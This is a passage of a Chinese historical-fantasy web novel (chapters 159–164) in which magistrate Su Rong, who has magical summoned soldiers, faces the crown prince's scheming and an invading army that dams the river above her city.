陈明喜等人把云州使者团“送”出城,板车往野外一丢。拍拍手上不存在的灰,掉头便回城了。
至于叶浩锐,好歹尊重些。小包袱款款,单独给辆马车坐着,蜷缩成一团看自个堂哥。
这情况,他都不知道该不该跟堂哥离开了。
“啊喂!你们就这么走了呀?”
傅振目瞪口呆。
五百名伤患啊!还是缺胳膊断腿没几个好人的情况,让他和大人怎么将这么多伤患弄回去?
虽说这群人自讨苦吃,背着他们大人算计安卫城,没成功先成仁。好歹一个阵营的不能丢下……
叶清辞从恍惚中清醒,回头看看几车伤情惨烈的同仁,冷着脸,提剑先走向贺子民,割断他手上绳索。
贺子民气咻咻的,到现在才能从板车上爬起来开口。
“叶清辞,你给本官等着!回到柏州,我一定状告殿下,说你和这个安卫城的女县令勾结……”
“啪”!
傅振手里拿着伤药,爬上板车照他大腿根狠狠踩了一脚。
“啊?抱歉……贺大人我脚滑!”
“你、你们给我等着……”
贺子民抱住伤残大腿痛苦哀嚎。那破锣嗓门,将躺在旁边陷入昏迷的燕彬也惊醒了。
看看四周,面对冷着脸给他灌药的傅振,燕彬明智选择一声不吭。
叶清辞漠然对贺子民道:“有力气嚎,就去多解救几名军士。否则,待会你也得拉车!”
“凭什么我要拉车?”
贺子民不服,他也是伤残人士。但转头看向四周堆成肉山的几车“粽子”,发出不绝于耳的惨叫,他喉头一噎。
片刻,心不甘情不愿爬下车,一瘸一拐去剩余行李中翻找药物,挑轻伤的先解绳子。着实心惊,骂也只敢心头骂,唯恐被城楼上安卫军士听见。
他就算是白痴,现在也清楚那个女县令,手下拥有一支多么可怕的武装力量!
他和燕彬精心策划,打算趁女县令沉溺儿女私情时夺城。结果对方早有防备,神不知鬼不觉派甲兵守株待兔,一举打残他们部署。
嘴巴叫嚣将失败赖在叶清辞头上,其实所有人都明白,他们能活下来,全因为叶清辞。
贺子民心里哼哼,想对方到底是个女人。脸撕破成这样,还将他们放了。纵虎归山后患无穷,真是愚蠢无比。
女人果然不能成大器!得赶紧回去向太子殿下禀报,再作筹谋。
苏蓉回到县署內宅,脱掉外衣卸去钗环。低头抚摸身上冰冷柔软的宝甲,眼角酸涩,却是硬生生忍住不流出一滴泪。
太子景渊?
那就让她看看,此人到底有多么德行出众、雄才大略,让自己喜欢的人不顾一切追随吧!
她,决不妥协!
花了比来时多三倍时间,柏州使者团狼狈艰难回到起始地。
五百精兵,大半被打残,只能告老还乡。而燕彬伤得最重,大概要在床上躺一年半载。别的不说,至少他向来自恃武功高的骄傲,被彻底粉碎。
面对苏蓉手下的银甲兵,他走不过一回合。
而且,据柏州收集到的情报,苏蓉手下不止一名银甲兵。听说,还有比银甲兵更为厉害的金甲兵!
面色冷沉听叶清辞汇报出使经过,贺子民喋喋不休攻讦叶清辞,太子景渊没表示什么。只是等两人分别说完,温和地安抚他们。
“阿辞,子民,你们这趟辛苦了。回头孤会让人对此行受伤的军士,好好补偿。你们奔波劳虑,差事办成与否次要,人没事就好!”
贺子民感激涕零,趴在地上将额头重重磕在地面。
太子殿下果然温和怜下!这样的主子,才值得他们追随。安卫城那泼妇,实在太凶残了,同情安卫城百姓!
“殿下,那苏氏实在猖狂,半点不将您和柏州放在眼里,咱们绝不能轻饶过她!两军对垒,她手下几个人武艺高强又如何?千军万马碾踏,飞灰不剩!”
“请殿下发兵,我贺子民愿意率大军出征,踏平安卫城!”
此趟出使丢尽颜面,贺子民一心想挽回名誉,顺带雪耻。
景渊看向低头一声不吭的叶清辞:“阿辞,你有什么见解?”
听着太子些许轻飘飘的语气,叶清辞内心苦涩。
来到柏州,投入太子麾下,他热血勤勉,不时上书建言太子各项举措。但太子态度温和地只听取,不采纳。
他求见太子,多数时候也会被侍卫阻拦在门外。两人曾经无话不谈的亲密,忽然变得疏远陌生。
难道真如某些人所言,太子不满他没有将宜阳县当作投名状献出,而起了不满之心?
但当时他掌控不了局势,宜阳县被季隆和金竹海牢牢把持啊?
走得慢点,说不定他也会失陷在宜阳县。
看太子一眼。对方下巴有一圈新冒出的青色胡茬,瞳色幽暗瞅着他。情绪深藏心底,面上看不出丝毫喜怒。
叶清辞抱拳躬身,借低头避过对方审视。
“殿下,依卑职愚见,此时不宜与安卫城发生正面冲突。我们的目标,应该趁三皇子势微,兼并他的地盘,夺取京城,以弘扬殿下正统。”
“安卫城邻接云州、岽州各路势力。就算我们不出手,也会有源源不断的敌人,攻击安卫城。我们大可以静观其变,待鹬蚌相争,渔翁得利。”
他说得有理有据,景渊沉吟。左右幕僚,有人露出赞同表情。
但是,贺子民不死心地跳了出来。
“说得好听!叶清辞,你不就是怕我们打了你那个姓苏的姘头吗?想维护她,可她没给你脸,照样将你像狗一样赶出安卫城!”
“趁她羽翼未丰满,正是出兵之际。等她养成气候,谁能收拾她?叶清辞,你果然怀有二心!为个女人,对殿下不忠不义!”
景渊和一班幕僚,看着叶清辞面色有了变化。
叶清辞手握成拳。
“贺子民,你嘴巴放干净,什么姘头不姘头?我和苏娘子,清清白白!”
“此次出使,我努力劝说苏娘子,原本想让她归顺殿下。是你和燕彬擅自用兵,在做客的情况下,偷袭人家县衙和驻军所。”
“逼迫苏娘子翻脸,你还好意思在这推卸责任给我?”
“如果不是苏娘子仁义,你当我们五百人马能不死一个人,回到柏州?”
贺子民脸部肌肉抽搐几下,怒哼:“就算没死……也和死差不多了!”
景渊眸光一闪。
“阿辞,那苏娘子若愿降,是否开出条件?”
叶清辞面对太子收敛怒气,恭敬回答:“有条件。不过,贺大人已代殿下您拒绝了。”
贺子民怒瞪他一眼。
觉得这小子焉坏,竟然当众给自己上眼药!
第160章 好用的刀
“什么条件?”
景渊感兴趣地问。
“殿下,那女人狮子大张口,要您封她做知府呢!三城官员,随她调度?”
贺子民抢着回答。
“她这哪里将您放在眼中?说是归顺,实际还将三座城池牢牢掌控在手。况且从古到今,没有女子为官的先例!”
“她这般行事,让几十年寒窗苦读通过科举,好不容易走上仕途的学子们怎么想?置您于何地?口子一开,殿下威名尽损!”
幕僚们频频点头,议论纷纷。
没错!
这苏氏好生狂妄!机缘巧合得了三座城镇,自己姓甚名谁都不知道了?三座城镇的兵力,对于整个大靖九牛一毛。
她是想与全天下为敌?
果然古语有云:唯女子与小人为难养也。说得对、太对了!
景渊扯着嘴角,不怒反笑。
看叶清辞一眼,摸着胡渣渣的下巴道:“这个条件,确实有些过分。阿辞,待我大军兵临安卫城城下,你可以再代孤问问,她是否有别的条件?”
叶清辞心里一紧,低头不敢看他的笑容。觉得那笑容,瘆得慌。
殿下……
死里逃生后的殿下,当真性格大变……
他一阵莫名悲哀,耳边听到景渊的声音。
“其他人退出去,阿辞留下。”
景渊瞅着叶清辞怔怔抬头,投来的茫然目光,不动声色笑了笑。
“孤……很久没有与阿辞抵足而眠、彻夜长谈了!”
众幕僚鱼贯退出大厅,各种羡慕嫉妒恨的眼神,留给叶清辞。
到底是曾经的探花郎。
明明已让太子生隙,太子仍然念旧、惜才。
叶清辞垂着眼眸,看见一双螭纹云头履移动到自己视野内。太子景渊伸出手,将他搀起来,一同到窗边软塌上坐下。
如此近的距离,几乎能嗅到对方衣上淡淡的檀香。久未有过的亲近,恍若隔世,他神智一阵迷糊。
“阿辞,昭宁的事难为你了。”
景渊顺手从桌上倒了两杯凉掉的茶,一杯递给叶清辞,一杯自己随意喝了。
叶清辞手里捧着杯子,有点发愣,不明白对方为何忽然提到昭宁公主?
他警惕地忙回答:“殿下言重了……昭宁为公主,卑职为人臣,按礼守制应该的!”
“可是却断送了你的青云路,连人伦幸福也给你剥夺了。”
景渊嗤笑一声:“你有所怨言应该的!只是当时……”
他放下杯子拍拍叶清辞的肩,叹息:“父皇伤心过度,需要有地方发泄。孤不为你说话,是想让你远离京城这个是非漩涡。你也怨孤是不是?”
叶清辞皱眉握紧杯子,这话听起来怪怪的。
“如果卑职有所怨言,就不会毅然决然,抛弃一切来柏州追随殿下了!”
“孤知道。”
景渊笑笑:“只是孤确实有点内疚,皇家耽误你大好人生,导致你……”
他咳了一声:“看人眼光都降低了。”
这位探花郎,当年可是拒绝所有贵女,对昭宁也淡淡的。大家都以为他天性如此,没想到,不是眼光高,而是眼光奇葩,看上偏远小城的一介农女。
即便对方运气好,乱世出头,不改她曾经是一名弃妇的事实。
叶清辞觉得胸腔一股怒火冲上脑门。哪怕面前坐的是自己奉为主子的人,也忍无可忍。
他刚要霍地起身,为苏娘子辩驳两句。景渊早已料到他心思,伸手按住他肩头,似笑非笑。
“不过,阿辞你今年二十五有余,确实该考虑成亲生子了。不然,在寿城老家的老夫人,望眼欲穿盼不到抱孙子。”
叶清辞身形一滞,慢慢坐回原位。
他老家在柏州寿城,处于殿下的势力范围。
不止他娘亲留在老家,叶氏宗族也在寿城。殿下特别说出这话,是在暗示他什么?
景渊安抚地拍拍他肩头,收回手,语重心长。
“阿辞,当年你承诺的三年守制期满,为你自己、还有老夫人考虑,你该考虑成家立业了。”
“男儿不孝有三,无后为大。”
景渊慢慢说。
“你知道,孤不止昭宁一个妹妹。”
三皇子夺权后,杀了一批皇亲贵胄,包括一名驸马。
他诈死逃到柏州重振旗鼓,就有两个妹妹追随来投。如今被他荣养在柏州,亲事尚未定下。
叶清辞能不能再尚公主,看其态度。
叶清辞拱手。
“承蒙殿下抬爱。卑职现在,只想尽心尽力辅佐殿下成就大业,夺回本该属于自己的东西。儿女私情,暂不予考虑。”
“一统天下,说来容易,做来难。”
景渊叹息。
“若有拦路者,阿辞当如何?”
叶清辞牙一咬:“卑职替殿下开路!”
景渊露出满意的笑容。
趁他心情放松,叶清辞起身双手抱拳:“殿下,如今三皇子受重创,势力大幅度缩水,我们应该乘胜追击。卑职愿为殿下分忧,统兵北上。”
景渊摸摸下巴,沉吟片刻。
“是该好好筹谋。孤帐下人手不足,阿辞你能文能武,确实能担当大任。”
听殿下默契避开谈论安卫城,叶清辞心中感动:“卑职愿为殿下马前卒,死而后已!”
景渊让内侍拿出军事地图,掌上烛火,和叶清辞开始商量进兵三皇子地盘的路线和策略。聊到天微明,意犹未尽,方才上榻抵足而眠。
叶清辞之前郁郁不得志的愁闷,经此一夜一扫而空,只剩下鸿鹄之志和太子对自己敞开心胸的喜悦。
天亮景渊让内侍送走叶清辞,叮嘱他好好准备出征。
目送叶清辞容光焕发离去的背影,景渊披衣坐在床头,黢黑的眼眸隐藏叵测的笑意。
阿辞……
一如初见的赤诚。
不过,如果是把好用的刀,且用着吧。
安卫城。
县衙大堂,苏蓉坐在椅子上,听着手底下人热烈地各抒己见。为进攻云州府城水沛,献言献策。
目前安卫城、庐城、斐县三城,总兵力不过七八千,如果靠苏蓉的私兵攻下城池,他们还涉及摊子铺得过大,无法有效防守的问题。
打地盘难,守地盘更难。
以老教谕为首的一干文人主张徐徐图之,先把已有三城发展好,巩固政权。
陈明喜等人却觉得机不可失,应该趁刘知府新吃败仗,水沛城空虚攻打。不然等他缓过来,又该来对付己方了。
第161章 肥水不流外人田?
甄云瞅着争论成一团的同僚,冷淡说出一句。
“诸位,是否忘记我们刚与柏州太子结仇?”
顿时,大堂安静下来。
老教谕颤声道:“太子目前拥有十二城兵力,还陆续有其他城池归顺依附。若是他们起兵来攻打我们,安卫三城只有几千兵马,怕是左支右绌啊!”
有人轻嗤一声。
“苏大人手下甲兵,以一当百,我们有何惧哉!”
众人纷纷点头附和。
以一敌百还算谦虚了。目睹甲兵大杀四方,没有一合之敌,安卫城军民信心膨胀到前所未有的高度。
只是甲兵不多,确实无法分散派驻到斐县庐城,别说直接组织起来攻打水沛。
苏蓉总结会议讨论结果,一锤定音。
“大家先着手练兵。等秦军侯派出的探子传回消息,咱们再商量怎么做。”
会议解散,甄云有意走在后面:“苏大人,柏州兵多将广,不得不防。”
其实他更想提醒的,是不要相信叶清辞。但看着苏蓉眼下隆重的青黑色,忍了忍没说出口。
男人理性,女人感性。有些话不该由他来说,苏蓉得自己悟,否则无法成长。
那把椅子人人想坐,苏大人若有那份野心,必须抛弃某些天真的心思,比男人牺牲更多。
苏蓉回头瞧甄云。
若说叶清辞沉稳内敛中潜藏锋芒,甄云就是极致安静隐含冷漠。
有时听他说话,苏蓉要费神多思量,猜猜对方是不是其实想表达另外一层意思。
不过,甄云的确是得力臂膀,比陈明喜更能干。只要交给他任务,能够又快又好办妥。苏蓉最近将属于县令的大部分公务,推给甄云处理。
难得的是,甄云一点不居功自傲,没有怨言。
“我知道。”
苏蓉温和回答。
“这段时间给你身上压了不少担子,让你辛苦了。瞅瞅最近新招募进衙门的胥吏,得力的你挑几个培养起来当助手。”
甄云含笑点头。
女上司就是比男上司心细体贴人。一点不怕他趁机拉小圈子,还主动让他发展手下。
漂泊多年甚至沦落卖身,说实在的,在苏娘子这里,他感受到久违家的温暖。
只可惜……她已心有所属。
想到那个探花郎,甄云瞳色略暗。
给他机会,未必比对方差!
身前陈明喜等人不时回头。觉得后面两个人一前一后缓行,气场莫名和谐。不好意思靠近,不然有破坏气氛的感觉。柯澜与陈和安挤眉弄眼,无声传递戏谑笑意。
陈明喜瞪他们一眼。不过望向那两人,他也不由得发散思维……
其实,与其让苏大人因为一个注定成为敌人的人痛苦,不如肥水不流外人田。
甄云身份低了些。但就是这种低了些,才好把握……
苏蓉大力安抚甄云继续去做事,自己带着听荷听雨回了家。
只见前院大厅热闹,张如英欢声笑语,大珠小珠落玉盘脆生生。小兰和冬梅陪着说话。巴阳不好意思与几个女人家坐一块,站门口和龚成有一搭没一搭闲聊。
发现苏蓉回来,大家全部起身迎出来。
小兰声声叫着“姐姐”,乳燕投林般扑进苏蓉怀里。
如今小兰已不是之前头大身子小、皮包骨头的难民形象了。身上圆嘟嘟长出肉,下巴从前尖得戳死人,如今变成椭圆。肤色气血大好,是个漂亮可爱的小萝莉。
苏蓉抱起妹妹亲了亲,姐妹俩逗趣一阵,方才手牵手进入大厅。苏蓉对着张如英笑道:“啊,稀客!张婶子难得来家,巴叔也在,今日谁看店?”
张如英大大方方。
“钱是挣不完的,今日我们给自己放闲一天。好久没见你们姐妹仨了,过来看看。”
金冬梅笑道:“大姐,张婶子还给我们拿了店里出的新品,好大一屉五色煎包,闻着可香了!”
“那正好我们今晚就吃那个。”
苏蓉已经不怎么管店里的事,全靠家里几个小的帮张如英做账。现在张记炊香阁基本属于冬梅等人的练手场地,张如英看着分红,多寡她不计较。
张如英慢慢生意上路,信心膨胀。打算在庐城斐县开两家分铺,来找苏蓉商量。
苏蓉搂着小兰,听明白对方来意,有点犹豫。
“张婶子,庐城和斐县刚打下来,新官上任尚未熟悉环境,城内外乱糟糟的。现在开分店,怕不是时候。”
本以为听了这话,会让张如英失望。没想到张如英拍着自个大腿,一脸表赞同。
“看吧,我也是这样说!但敖小子说,现在开店正是良机。不仅能趁别人立脚未稳时,抢占好资源;店开起来了,以后还能为阿蓉你打听传递消息?”
自从苏蓉自封县令后,张如英就不敢随意喊“苏丫头”了,改口叫“阿蓉”,显得更亲密。
只是苏蓉喊惯了张婶子,年龄差又摆在那,依然还是称呼“张婶子”。一个叫法而已,又不损她们之间的友情。
听说是谭敖的主张,苏蓉认真考虑一下,立即推翻自己之前的怕麻烦心理。
“既然是敖儿的意思,开分店便开分店吧,只是这人选要好好挑。”
安卫三城属于明面上她的势力。谭敖想得深远,估计是想暗中再发展建立一支势力,监控安卫三城的官僚机构,顺便收集信息。
她心里感叹了下这孩子小小年纪的聪慧度,拿出五百两银票,交给张如英,作为投资。
张如英一心搞事业,怕是真没想到,谭敖将她的事业当成政治发展。
张如英收了银子,与苏蓉姐妹大致商量好开分店的事宜,最后才在一起吃晚饭时,些许扭捏瞧向同桌巴阳。
“还有件事,阿蓉要拜托你帮忙……”
苏蓉瞅着她粉光红润的脸,以为这人喝两口果子酒就醉了,亲手盛碗汤放在她面前。
“张婶子,你我之间,还这么客气见外作甚?有什么事,直说就行,我有能力一定给你办成!”
巴阳闷头一个劲扒饭,脸涨得黑里透红。那架势张如英如果再多说两个字,他能“砰”的当场爆炸。
苏蓉隐约猜到什么事。不过起了促狭心,就要两人自己说出来。
第162章 难言之隐
张如英支支吾吾,向来爽利的人,涉及自身,硬是羞窘得说不出一句完整话来。
巴阳在旁干着急。
最后心一横、眼一闭、把碗一推站起来,拱手作揖:“苏大人,我和如英想在一起过日子,麻烦你给咱俩做个见证!”
苏蓉噗嗤一声笑出来。
金梅早就看出两人苗头,在旁捂住嘴偷笑。唯有小兰懵懂,不过见姐姐们开心,她跟着乐得拍手:“见证!见证!”
这下子,连张如英和巴阳自己也不好意思地笑了。
苏蓉边笑边道:“张婶子,巴叔,你们总算说出口了!我还寻思这桩喜事,你们打算拖到明年呢!明日我就让人给你们办理户籍。”
“对了,这喜事你们打算怎么办?”
张如英面色通红,羞窘答:“还能怎么办?我和你巴叔老了,又都是再婚,打算就置一身新衣,办两桌酒席,请亲近朋友喝口酒,见证下罢了!”
大操大办,会被人戳脊梁骨。
重点是有苏蓉在,能正大光明拿到户籍,官方认可。
苏蓉让龚成拿来黄历,大家头碰头研究一番,最后决定是半个月后的一天黄道吉日。
她下决心不亏待两人。除了选套百来两的二进宅送给两人当婚房,还以她的名义,届时请陈明喜等人、当地坊正来参加这场婚礼。
谁说二婚就不配大操大办了?
除了不收重礼,收世间所有最真诚的祝福!
婚礼当天,一身凤冠霞帔的张如英水漫洞房。巴阳穿着红绸长衫,胸前佩戴大红花,两只粗糙大手窘迫无处安放。
老都老了,还体验把富贵小年轻的隆重婚礼。
这一生算圆满了!
这期间,秦津不时呈递探马搜罗来的消息。
柏州在积极秣兵厉马。
云州军吃了大败仗,刘知府龟缩水沛城,坚守不出。
叶清辞统兵一万,北上攻打靖州的普县。普县属于三皇子地盘,与柏州势力接壤。夺下这座城池,便能继续朝三皇子內腹地推进。
看来太子景渊暂时不打算对付安卫三城,而是想进军伪帝,肃立自己正统之名?
苏蓉、陈明喜等人如此猜测。
既然对方军事重心不在自家身上,大家便把注意力转到三城吏治上。除了募集士兵训练,还考核培养大批胥吏,补充到各部门。
只要有真才实学,什么出身不重要,皆有往上爬的机会。这样一来,支持苏蓉当政的人大大增加。即便是喜欢之乎者也的酸秀才,也不例外。
此外,苏蓉还让秦津加紧收集岽州情报。
目前岽州大部分地区在二皇子、四皇子势力控制下,小部分如宜阳县、边关小城落到乌蛮人手中。
暂时不知道二、四皇子对乌蛮人的态度。不过就宜阳县被乌蛮人占据,明显乌蛮人越界,有挑衅二、四皇子、盟约破弃之嫌。
苏蓉对乌蛮人最为提防,也极是厌恶。
非我族类,其心必异!
不过两者间还隔着个浐县。浐县属于中立县,与几位皇子甚至乌蛮人治下的宜阳县都有贸易往来,不知道时局会怎么变化?
甄云建议静观其变。
毕竟以己方目前仅三城的兵力,做不到主动出击,去占领别人的地盘。
一旦出兵,城内空虚,虎视眈眈的各方势力必会乘虚而入。苏蓉手下真正能派上用场的,就百来甲兵。左支右绌,不能轻率行动。
夏至,前线传来最新消息:叶清辞率军攻下普县,集结部队,朝顾明城继续进发。
太子景渊的势力又扩张了。
苏蓉握着战报,心情复杂。
对方这是又开始重用叶清辞了?为叶清辞夙愿得偿欣慰的同时,不免担忧。
等叶清辞替太子拿下京城,是不是回头就该对付安卫城了?届时双方兵戎相见,她该拿对方怎么办?
早会时,甄云提议:“大人,目前柏州方面在全力对付三皇子势力。云州水沛城孤掌难鸣,不若我们趁势进兵,将其拿下吧!”
水沛城作为云州府城,可比安卫城富饶多了。拿下水沛,进可攻,退可守,能作为长远发展。
陈明喜表示赞同。
“大人,甄主簿言之有理!现在我们新兵训练得也差不多,正好让他们参与实战锻炼下。”
苏蓉有点难言之隐。
人人都当她手下私兵所向披靡。
但她金手指召唤出的豆子兵有两个致命弱点:一是只能存在最多八个小时;二是只接受一次性的命令。
时间到、或则完成任务,管你天王老子,他们都要玩消失!
安卫城到水沛城这么远距离,如果决定攻城,她势必亲自出征盯着刷新甲兵,避免意外。
但她一走,安卫城怎么办?
甲兵数量不够,根本不能分兵驻守三座城。她得将金手指再升级,能召唤出更多甲兵才行。
众人不知她的难处,纷纷表态支持甄云、陈明喜两人。
苏蓉谨慎,不敢有分毫冒进的心思。指望三座城留给新兵把守,是不现实的。如果她出征期间,安卫城丢了,苦心经营的大本营就没了!
没有百分百把握,不能冒险。
抬手制止众人乱糟糟各抒己见,她正想表示自己再考虑下,秦津快步而入,呈上探马送来的快报,面色苍白。
“大人,不好了!柏州方面,太子景渊遣万俟赞为帅,贺子民为副,率三万军马杀奔我们安卫城而来!”
大堂顿时死一般寂静。
片刻,陈明喜不能置信地瞪圆眼睛。
“三万?”
“不是说叶清辞已带一万人马北上攻城了吗?这三万……柏州倾巢出动,不怕自家老窝被二、四皇子端掉?”
秦津抖抖快报,示意衙役呈给苏蓉,一脸沉重。
“除了柏州三万军队,探马报告,岽州方面遣一万人马,行军方向可能是我方庐城。此外,浐县也有异动,五千人奔向我斐县!”
此话一出,众人顿时绷不住了,七嘴八舌窃窃私语,慌作一团。
这是见他们势力最弱小,都跑来攻打,想分一杯羹啊!连浐县那么弱小的地方,也敢觊觎自家。
愤怒、害怕、惶恐。
敌众我寡,这次苏大人还能凭一己之力,保卫三座城?
第163章 大军来袭
“安静!”
苏蓉拍响惊堂木,有点嫌弃自家小团队。
遇着点事,吵得麻雀嫁女。十多个人,只有甄云看着最淡定。当然,不排除这小子天生面瘫……
什么场合都摆着死人脸。
等众人闭住嘴巴,纷纷看向她,她才伸指头点点秦津。
“那万俟赞是什么来头,知道的话,先简单说说。”
知己知彼,百战不殆。
叶清辞远征北伐,才给一万兵。而派来袭击她安卫城的,竟然有三万军马!这个太子景渊,到底有多恨她?
还是说,他本来就防备着叶清辞?
关于万俟赞,不需看情报秦津也能侃侃而谈。
“大人,这个万俟赞,是大靖朝最具知名的武将。曾任京畿重地四品中护军。太子景渊在柏州打出旗号后,毅然率手下五千余亲兵,倒戈柏州。目前是太子麾下武官第一人。”
“他为何最具知名?”
苏蓉好奇。
秦津道:“万俟赞是大靖的武状元。”
“与燕彬相比如何?”
苏蓉想了会,她认识的人中,就只有燕彬武力出众了。当日若不是随侍人员有银甲兵,恐怕不能一击收拾燕彬。那她就不能好好坐在这里。
燕彬虽狂,对其武力她是服气的。
秦津自己三脚猫功夫,不妨碍他推崇从前偶像,嫌弃燕彬。
“萤火之光,敢于日月争辉?”
有人不爽:“秦军侯何必灭自己志气,长他人威风?”
秦津回过神来,忙补救拍苏蓉马屁:“当然,与大人手下甲兵相比,此人差远了。”
他不禁目光一阵逡巡,想找到当日一招拿下燕彬的银甲兵。但左看右瞧,觉得这些甲兵相貌甚是普通,转头即忘。
真是……
难不成个个戴了易容面具?
甄云的出现,令大家开阔视野,不觉联想到甲兵身上。但这些甲兵无一不死忠苏蓉,任谁套不出半点口风。
苏蓉手指摩挲惊堂木,看看底下人并没有更好建议,便道:“还按上次对阵云州军的做法,通知周边村民预先进山躲避,以防兵灾。其他三城做好防御工作。”
“秦津,你和你手下探马收集情报有功,我给你记着。先去账房领五十两,作为你们这个小团队的奖赏!”
秦津挺喜欢这个“小团队”的称呼,有别于别人,又显得自己和手下亲密。感激抱拳:“多谢大人体恤!”
他手下能这么积极有效获取情报,也多亏苏蓉大方,砸在情报部门的银子不少。
同一时间,叶清辞也收到傅振传递的消息,太子向安卫城进兵。
他将信纸放在烛火上点燃,沉默看着那火苗快烧到手指,感受到一股灼痛,才将纸灰扔在铜盆里。
帐外钻进来一股风,缓解初夏闷热。
如今在前往顾明城的行军路上,肩负重任,连同他许下的誓言。他……
什么也不能做。
他只是无比悲哀。原来,殿下并没有多么信任他!当然,或许是他从头到尾会错了意,殿下本就没有承诺过他什么?
想了会,提笔写张字条,塞进拇指大的竹筒,用火漆封住,然后唤进帐一名青衣男子。
“幽临,你亲自回趟柏州,将此密信交给傅振。随后你听他调遣,负责保护他。”
幽临抱拳一揖,接过竹筒,转身悄无声息离开。
副将彭青恰好进账,与幽临擦身而过,不禁多瞧幽临一眼。他奉太子之名跟随叶清辞出征。不但有辅佐之责,还有监军之责。
叶清辞手下几名亲兵,面生得紧,攻打普县时才加入。叶清辞格外倚重这几人,反将他隐隐排斥在外,令他很不爽。
彭青时常盯着,就是想抓到叶清辞的小辫子。
走进大帐,只见叶清辞低头在研究地形图,他不由得哂笑。
“这么晚了叶大人还在筹谋,真是辛苦了!”
叶清辞淡淡道:“彭大人不也一样?不眠不休,来与我讨论作战计划?”
彭青一噎。
原本想看看动静就走,只得坐下来陪他聊顾明城。天色晚了,左一个呵欠右一个呵欠打。侧边瞅到叶清辞熬红的双眼,心里多少还是有些佩服对方实干的能力。
就不知为何,这样有才能的人,反不如他这种浑水摸鱼的人受殿下信任。
叶清辞没管旁边彭青眼神变化,盯着军事图,心思飞到安卫城。
暗自庆幸,自己当初没有傻到将一族底牌和资源,全部献给殿下。如今,苏娘子那边他多少能帮上点忙。
安卫城管不了,苏娘子的命,定要保住!
至于其他的……不想,不愿去想。
安卫城这边,苏蓉率领军民,严阵以待万俟赞的到来。打算以逸待劳,如同之前对付云州军一样,给对方一个狠狠教训。
但是,从白天等到黑夜,又从黑夜等到白天,没见柏州先头部队的影子。
苏蓉怀疑情报有误,让秦津派人深入打探敌军动向。这么多人沿途需要吃喝拉撒,不可能完全掩藏行军痕迹。
秦津知道事关重大,不敢分毫怠慢,亲自出马带手下去刺探。
不知道谁把敌军三路,有数万人马的消息散播出去,安危三城迎来一波抢购囤货热潮。还有拖家带口的,逃出城向别的城镇迁徙。
苏蓉没有阻止这些人离开。
不能共患难的,留下也是祸患。她只是让底下官员登记这些人资料,抹去他们城廓民资格,把分配的公共资源收回。
以后再想回来,需付出多倍代价。不然官府怎么创收?
一般来说,战争前最先得到消息且能立马跑路,几乎是有钱有势的特权阶级。对这类人,她创收不手软。
至于通知后普通村民想举家躲进城,也欢迎。由各街道坊正安排,暂时搭棚安置。以工代赈,协助守城官兵支援后勤。
严格检查路引户籍资料,五户一保,十户为甲,彼此援护监督。重奖鼓励检举可疑人等,最大限度防止奸细混进城。
之前运行过一次的防卫机制,这次三城推广,有条不紊。
第二天午后,秦津才匆匆赶回,带回一个重大消息。
“大人,万俟赞的大军在五十里地外的小西坡扎营。部分人马聚集在堤坝周围,不知道干什么修了围墙,里面叮叮当当地敲?”
不时有敌人的巡逻骑兵经过,他们差点被发现,不敢久留跑回来报告。
“小西坡?西河?”
甄云大吃一惊,首先反应是:“他们不会想用水攻吧?”
第164章 生日快乐!
西河通海。安卫城及邻近几个城镇,都靠西河送水。
若是柏州军当真把歪脑筋动在水攻上,遭殃的可是成千上百万老百姓!
苏蓉面沉如水。
第一次对太子景渊起了杀心!
争夺地盘那么重要?所谓仁君,不过如此。
很快,她便知道万俟赞使的什么阴招了。
柯澜、齐力及各路坊正纷纷跑来报告,神情慌张:“大人,不好了,四门护城河的水断流了!”
“还有,流淌经过东门河道的水位,也在下降!”
短时间内安卫城不至于缺水,毕竟有许多地下井。但柏州军此举意图很明显。
从上游掐断他们源头,轻者水资源发生危机;重则突然破开堤坝,让被堵住一段时间的河水变成洪水,一泄**。
不止安卫城遭殃,再下游点的庐城斐县还有别的城镇,也殃及池鱼。
好算计,好歹毒。
为了胜利,不择手段。
苏蓉之前听闻万俟赞是武状元,还动了心思招揽。现在看,这种罔顾万千无辜百姓生命,所谓的帅才还是**了的好!
生平最痛恨这种不拿普通人命当命的当权者。
“通知全城,还有庐城斐县,做好抗洪救灾准备。”
苏蓉紧急安排调度全城资源时,守城军士送来一封箭书。
“大人,万俟赞派人送来劝降书!”
苏蓉瞄一眼甄云传递到案头的书信,两个大大的“劝降”用朱砂笔写在题头。怪不得守城军士没拆信就知道是劝降信。
至于内容,不看也知道是威胁她投降献城,不然后果自负之类的话题。
她把劝降书递给手下人传阅,冷笑:“大家对于这次柏州军的劝降,怎么看?”
老教谕一班文吏忧心忡忡,交头接耳。**喜为首一班武官义愤填膺。
“大人,这万俟赞心肠毒辣,为达目的不择手段!这种人没有信义可言,我们不能束手待毙献城投降!”
只有威胁没有承诺任何好处,意味着投降后他们和他们家人的头,放在对方砧板上。傻了才投降!誓死抵抗到底!
苏蓉唇角上扬。
齐心合力就好。她就怕自己有所决策,后院起火。
既然大家都有所觉悟,她打算孤注一掷。
让其他人退下,留下甄云、**喜、秦津几名心腹。
“甄主簿,这安卫城暂时交给你管理。秦军侯,你熟悉小西坡附近地势吗?”
见秦津点头,苏蓉道:“陈督尉,选五百军士,今夜我们去劫营!”
“啊?”
大家目瞪口呆。
五百兵……劫营?
对方可是有整整三万人马啊!
就算没集中在一处,只偷袭堵河道的那波柏州军,也够他们喝一壶的!
“今夜,我要好好练兵!”
苏蓉目中绽放奇异光彩,瞥几名手下一眼。
要不是自己不认路,秦津、**喜都不用带!五百兵,是用来保护两人的。
她只有一百甲兵,不能跟敌军硬碰硬。但她可以用偷袭手段,逐步蚕食对方兵力。润物细无声的同时,她的金手指还会升级。
上哪去找这么合适的练级机会!
三万柏州兵……怨,只怨你们自己效忠于一个不拿你们生命当回事的主子吧!
道道目光集中在**喜身上。
**喜踌躇一番,想到一路走来,亲眼见证苏蓉甲兵神奇强大之处。牙一咬,拳一握。
“大人,卑职这就去召集人手!”
是他选的主子,说服全族追随的主子,跪着也要一路效忠下去!
大不了今夜舍身成仁!
苏蓉看向甄云:“甄主簿,除非亲眼见着我们回来,任何人叫开城门,别开!”
她对甄云冒充云州兵,纂了斐县一座城,记忆犹新。
甄云眉宇间尽藏忧色:“大人您……要小心!”
他觉得苏蓉过于自负。就算甲兵确实厉害,以一挡百,能偷袭几万人的军营?恐怕对方的巡逻队一出动,大人只有逃命的份!
他还是暗中做好准备,接应两人。
之所以不拦阻,是认为困守孤城,只能束手待毙的份。今夜大人奇兵冲一冲,说不定有转机。
